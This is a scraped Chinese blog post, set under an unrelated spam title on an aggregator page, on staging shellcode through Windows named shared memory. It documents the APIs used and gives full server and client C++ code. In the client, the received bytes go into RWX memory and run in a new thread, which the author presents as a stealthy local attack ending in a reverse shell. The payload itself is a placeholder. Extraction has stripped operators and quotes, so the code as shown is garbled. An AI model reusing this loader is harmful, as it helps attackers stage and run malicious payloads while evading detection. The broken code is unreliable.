当前位置: 首页 > news >正文

手表常用网站wordpress 上传绕过

手表常用网站,wordpress 上传绕过,抖音代运营方案范文,app设计网站在计算机安全领域#xff0c;ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度#xff0c;研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法#xff0c;通过该方法#xff0c;两个本地进程可以相互传递ShellCodeShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法通过该方法两个本地进程可以相互传递ShellCode从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传那我只能说在某些时候我们可能会将ShellCode打散而作为客户端也不需要时时刻刻在本地存放ShellCode代码这能保证客户端的安全性。 服务端部分 CreateFileMapping 用于创建一个文件映射对象将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。 下面是 CreateFileMapping 函数的基本语法 HANDLE CreateFileMapping(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCTSTR lpName );参数说明 hFile: 文件句柄可以是一个磁盘文件或者其他内核对象的句柄。如果是 INVALID_HANDLE_VALUE则表示创建一个只在内存中的映射而不与文件关联。lpFileMappingAttributes: 安全属性一般为 NULL表示使用默认的安全设置。flProtect: 内存保护选项指定内存页的保护属性例如读、写、执行等。常见的值有 PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE_READ 等。dwMaximumSizeHigh 和 dwMaximumSizeLow: 指定文件映射对象的最大大小。如果映射的是一个文件可以通过这两个参数指定文件映射的大小。lpName: 文件映射对象的名字如果是通过共享内存进行跨进程通信可以通过这个名字在不同的进程中打开同一个文件映射对象。 成功调用 CreateFileMapping 会返回一个文件映射对象的句柄失败则返回 NULL。通常创建成功后可以通过 MapViewOfFile 函数将文件映射对象映射到当前进程的地址空间中进行读写操作。 MapViewOfFile 用于将一个文件映射对象映射到调用进程的地址空间中使得进程可以直接操作映射区域的内容。 以下是 MapViewOfFile 函数的基本语法 LPVOID MapViewOfFile(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,SIZE_T dwNumberOfBytesToMap );参数说明 hFileMappingObject: 文件映射对象的句柄这个句柄通常是通过 CreateFileMapping 函数创建得到的。dwDesiredAccess: 映射区域的访问权限常见的值有 FILE_MAP_READ、FILE_MAP_WRITE、FILE_MAP_EXECUTE。dwFileOffsetHigh 和 dwFileOffsetLow: 文件映射的起始位置。在这里通常指定为0表示从文件的开头开始映射。dwNumberOfBytesToMap: 指定映射的字节数通常可以设置为 0 表示映射整个文件。 成功调用 MapViewOfFile 会返回映射视图的起始地址失败则返回 NULL。映射成功后可以直接通过返回的地址进行读写操作。当不再需要映射时应该通过 UnmapViewOfFile 函数解除映射。 CreateMutex 用于创建一个互斥体对象。互斥体Mutex是一种同步对象用于确保在多线程或多进程环境中对资源的互斥访问防止多个线程或进程同时访问共享资源以避免数据竞争和冲突。 以下是 CreateMutex 函数的基本语法 HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCTSTR lpName );参数说明 lpMutexAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针决定了互斥体的安全性。通常可以设为 NULL表示使用默认的安全描述符。bInitialOwner: 一个布尔值指定互斥体的初始状态。如果设置为 TRUE表示创建互斥体时已经拥有它这通常用于创建一个已经锁定的互斥体。如果设置为 FALSE则表示创建互斥体时未拥有它。lpName: 一个指向包含互斥体名称的空终止字符串的指针。如果为 NULL则创建一个匿名的互斥体否则创建一个具有指定名称的互斥体。通过指定相同的名称可以在多个进程中共享互斥体。 成功调用 CreateMutex 会返回互斥体对象的句柄失败则返回 NULL。在使用完互斥体后应该通过 CloseHandle 函数关闭句柄以释放资源。 CreateEvent 用于创建一个事件对象。事件对象是一种同步对象用于实现多线程或多进程之间的通信和同步。通过事件对象可以使一个或多个线程等待某个事件的发生从而协调它们的执行。 以下是 CreateEvent 函数的基本语法 HANDLE CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCTSTR lpName );参数说明 lpEventAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针决定了事件对象的安全性。通常可以设为 NULL表示使用默认的安全描述符。bManualReset: 一个布尔值指定事件对象的复位类型。如果设置为 TRUE则为手动复位如果设置为 FALSE则为自动复位。手动复位的事件需要通过 ResetEvent 函数手动将其重置为非触发状态而自动复位的事件会在一个等待线程被释放后自动复位为非触发状态。bInitialState: 一个布尔值指定事件对象的初始状态。如果设置为 TRUE表示创建事件对象时已经处于触发状态如果设置为 FALSE则表示创建事件对象时处于非触发状态。lpName: 一个指向包含事件对象名称的空终止字符串的指针。如果为 NULL则创建一个匿名的事件对象否则创建一个具有指定名称的事件对象。通过指定相同的名称可以在多个进程中共享事件对象。 成功调用 CreateEvent 会返回事件对象的句柄失败则返回 NULL。在使用完事件对象后应该通过 CloseHandle 函数关闭句柄以释放资源。 WaitForSingleObject 用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。 以下是 WaitForSingleObject 函数的基本语法 DWORD WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds );参数说明 hHandle: 要等待的内核对象的句柄。可以是事件、互斥体、信号量等。dwMilliseconds: 等待的时间以毫秒为单位。如果设为 INFINITE表示无限等待直到内核对象变为 signaled。 WaitForSingleObject 返回一个 DWORD 类型的值表示等待的结果。可能的返回值包括 WAIT_OBJECT_0内核对象已经变为 signaled 状态。WAIT_TIMEOUT等待时间已过但内核对象仍然没有变为 signaled 状态。WAIT_FAILED等待出错可以通过调用 GetLastError 获取详细错误信息。 这个函数是同步函数调用它的线程会阻塞直到等待的对象变为 signaled 状态或者等待时间超时。 ReleaseMutex 用于释放之前由 WaitForSingleObject 或 WaitForMultipleObjects 等函数获取的互斥体对象的所有权。 以下是 ReleaseMutex 函数的基本语法 BOOL ReleaseMutex(HANDLE hMutex );参数说明 hMutex: 要释放的互斥体对象的句柄。 ReleaseMutex 返回一个 BOOL 类型的值表示释放互斥体对象是否成功。如果函数成功返回值为非零如果函数失败返回值为零。可以通过调用 GetLastError 获取详细错误信息。 互斥体Mutex是一种同步对象用于控制对共享资源的访问。在多线程或者多进程环境中互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后其他试图获取该互斥体所有权的线程或者进程将会被阻塞直到拥有互斥体的线程或者进程调用 ReleaseMutex 释放互斥体所有权。 SetEvent 用于将指定的事件对象的状态设置为 signaled有信号。该函数通常与等待函数如 WaitForSingleObject 或 WaitForMultipleObjects一起使用以实现线程之间或进程之间的同步。 以下是 SetEvent 函数的基本语法 BOOL SetEvent(HANDLE hEvent );参数说明 hEvent: 事件对象的句柄。 SetEvent 函数返回一个 BOOL 类型的值表示设置事件对象状态是否成功。如果函数成功返回值为非零如果函数失败返回值为零。可以通过调用 GetLastError 获取详细错误信息。 事件对象是一种同步对象用于在线程或者进程之间发信号。通过 SetEvent 可以将事件对象的状态设置为 signaled表示某个条件已经满足其他等待该事件对象的线程或者进程可以继续执行。 有了上述API函数的支持那么实现这个服务端将变得很容易如下所示则是服务端完整代码通过创建一个共享内存池并等待用户按下简单当键盘被按下时则会自动填充缓冲区为特定内容。 #include iostream #include Windows.h #define BUF_SIZE 1024HANDLE H_Mutex NULL; HANDLE H_Event NULL;char ShellCode[] 此处是ShellCode;using namespace std;int main(int argc,char *argv[]) {// 创建共享文件句柄HANDLE shareFileHandle CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, SharedMem);if (shareFileHandle NULL){return 1;}//映射缓冲区视图得到指向共享内存的指针LPVOID lpBuf MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);if (lpBuf NULL){CloseHandle(shareFileHandle);return 1;}// 创建互斥器H_Mutex CreateMutex(NULL, FALSE, sm_mutex);H_Event CreateEvent(NULL, FALSE, FALSE, sm_event);// 操作共享内存while (true){getchar();// 使用互斥体加锁,获得互斥器的拥有权WaitForSingleObject(H_Mutex, INFINITE);memcpy(lpBuf, ShellCode, strlen(ShellCode) 1);ReleaseMutex(H_Mutex); // 放锁SetEvent(H_Event); // 激活等待的进程}CloseHandle(H_Mutex);CloseHandle(H_Event);UnmapViewOfFile(lpBuf);CloseHandle(shareFileHandle);return 0; }客户端部分 OpenFileMapping 用于打开一个已存在的文件映射对象以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。 以下是 OpenFileMapping 函数的基本语法 HANDLE OpenFileMapping(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName );参数说明 dwDesiredAccess: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志如 FILE_MAP_READ、FILE_MAP_WRITE 等。bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE子进程将继承句柄如果为 FALSE子进程不继承句柄。lpName: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是 NULL函数将打开一个不带名称的文件映射对象。 OpenFileMapping 函数返回一个文件映射对象的句柄。如果函数调用失败返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。 OpenEvent 用于打开一个已存在的命名事件对象。事件对象是一种同步对象用于在多个进程间进行通信和同步。 以下是 OpenEvent 函数的基本语法 HANDLE OpenEvent(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName );参数说明 dwDesiredAccess: 指定对事件对象的访问权限。可以使用标准的访问权限标志如 EVENT_MODIFY_STATE、EVENT_QUERY_STATE 等。bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE子进程将继承句柄如果为 FALSE子进程不继承句柄。lpName: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是 NULL函数将打开一个不带名称的事件对象。 OpenEvent 函数返回一个事件对象的句柄。如果函数调用失败返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。 VirtualAlloc 用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存而且可以选择性地将其初始化为零。 以下是 VirtualAlloc 函数的基本语法 LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect );参数说明 lpAddress: 指定欲分配内存的首地址。如果为 NULL系统将决定分配的地址。dwSize: 指定欲分配内存的大小以字节为单位。flAllocationType: 指定分配类型。可以是以下常量之一 MEM_COMMIT将内存提交为物理存储RAM或磁盘交换文件中的一页或多页。MEM_RESERVE为欲保留的内存保留地址空间而不分配任何物理存储。MEM_RESET将内存区域的内容初始化为零。必须与 MEM_COMMIT 一起使用。 flProtect: 指定内存的访问保护。可以是以下常量之一 PAGE_EXECUTE_READ: 允许读取并执行访问。PAGE_READWRITE: 允许读写访问。 VirtualAlloc 函数返回一个指向分配的内存区域的指针。如果函数调用失败返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。 CreateThread 用于创建一个新的线程。线程是执行程序代码的单一路径一个进程可以包含多个线程这些线程可以并发执行。 以下是 CreateThread 函数的基本语法 HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId );参数说明 lpThreadAttributes: 用于设置线程的安全属性通常设置为 NULL。dwStackSize: 指定线程堆栈的大小可以设置为 0 使用默认堆栈大小。lpStartAddress: 指定线程函数的地址新线程将从此地址开始执行。lpParameter: 传递给线程函数的参数。dwCreationFlags: 指定线程的创建标志通常设置为 0。lpThreadId: 接收新线程的标识符。如果为 NULL则不接收线程标识符。 CreateThread 函数返回一个新线程的句柄。如果函数调用失败返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。 客户端同样创建内存映射使用服务端创建的内存池并在里面取出ShellCode执行后反弹完整代码如下所示 #include iostream #include Windows.h #include winbase.husing namespace std;HANDLE H_Mutex NULL; HANDLE H_Event NULL;int main(int argc, char* argv[]) {// 打开共享文件句柄HANDLE sharedFileHandle OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, SharedMem);if (sharedFileHandle NULL){return 1;}// 映射缓存区视图得到指向共享内存的指针LPVOID lpBuf MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);if (lpBuf NULL){CloseHandle(sharedFileHandle);return 1;}H_Event OpenEvent(EVENT_ALL_ACCESS, FALSE, sm_event);if (H_Event NULL){return 1;}char buffer[4096] {0};while (1){HANDLE hThread;// 互斥体接收数据并加锁WaitForSingleObject(H_Event, INFINITE);WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥体加锁memcpy(buffer, lpBuf, strlen((char*)lpBuf) 1); // 接收数据到内存ReleaseMutex(H_Mutex); // 放锁cout 接收到的ShellCode: buffer endl;// 注入ShellCode并执行void* ShellCode VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(ShellCode, buffer, sizeof(buffer));hThread CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);WaitForSingleObject(hThread, INFINITE);}CloseHandle(H_Event);CloseHandle(H_Mutex);UnmapViewOfFile(lpBuf);CloseHandle(sharedFileHandle);return 0; }潜在风险和安全建议 虽然这种方法在本地攻击场景中有一定的巧妙性但也存在潜在的风险。以下是一些建议 防御共享内存滥用 操作系统提供了一些机制如使用 ACL访问控制列表和安全描述符可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。加强系统安全策略 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。监控和响应 部署实时监控和响应系统能够及时检测到异常行为并采取相应措施对于减缓潜在威胁的影响十分重要。 总结 本文介绍了通过共享内存传递Shellcode的方法通过这种巧妙的本地攻击方式两个进程可以在不直接通信的情况下相互传递Shellcode。然而使用这种技术需要非常谨慎以免被滥用用于不当用途。在实际应用中必须谨慎权衡安全性和便利性同时配合其他防御措施确保系统的整体安全性。
http://www.hkea.cn/news/14282588/

相关文章:

  • 网站开发建设技术规范书网站蜘蛛爬行统计
  • 为什么说新浪的门户网站做的好荷城网站制作公司
  • 常州建设局官方网站源码快速建站
  • 网站怎么创建太原互联网推广公司
  • 宿迁宿豫网站建设网站建设说明书怎么写
  • 网站流量增长山门做网站
  • 手机建设网站制作电商网店培训
  • 固定ip如何做网站服务器做视频资源网站有哪些
  • 如何给网站添加音乐网页微信截图快捷键
  • 做招商的网络营销推广企业网站怎么搜索优化
  • 怎么做点击文字进入的网站下载资料免费网站
  • 网站建设答辩内容可视化app开发工具
  • 站牛网注册私人网站
  • 收费图片网站手机怎么制作网站
  • 网站被抓取企业推广哪个平台好
  • 一些做的好的网站在招聘网站做销售技巧
  • 专业网站建设费用包括哪些湘潭网站建设 磐石网络最好
  • 网站空间和主机京东商城网站的搜索引擎营销做的案例分析
  • 深圳网站设计兴田德润i优惠吗镇江市网站
  • 萝卜建站营销型网站规划
  • 专业网站制作推荐电子商务营销网站建设
  • 一个完整的网站制作需要哪些部分组成优化关键词的正确方法
  • 一般网站建设都用什么字体招聘网站建设方案
  • 科技软件公司网站模板下载如何做产品网站建设
  • 做同性恋网站犯法吗重庆网站推广产品企业
  • 网站建设的主要结构遵义做网站
  • 综合信息网站建设方案wordpress+博客+简书
  • 业余做衣服的网站网站推广属于什么行业
  • 上海空灵网站设计wordpress 主题 微信
  • 广告公司网站设计方案合肥公司网站搭建服务商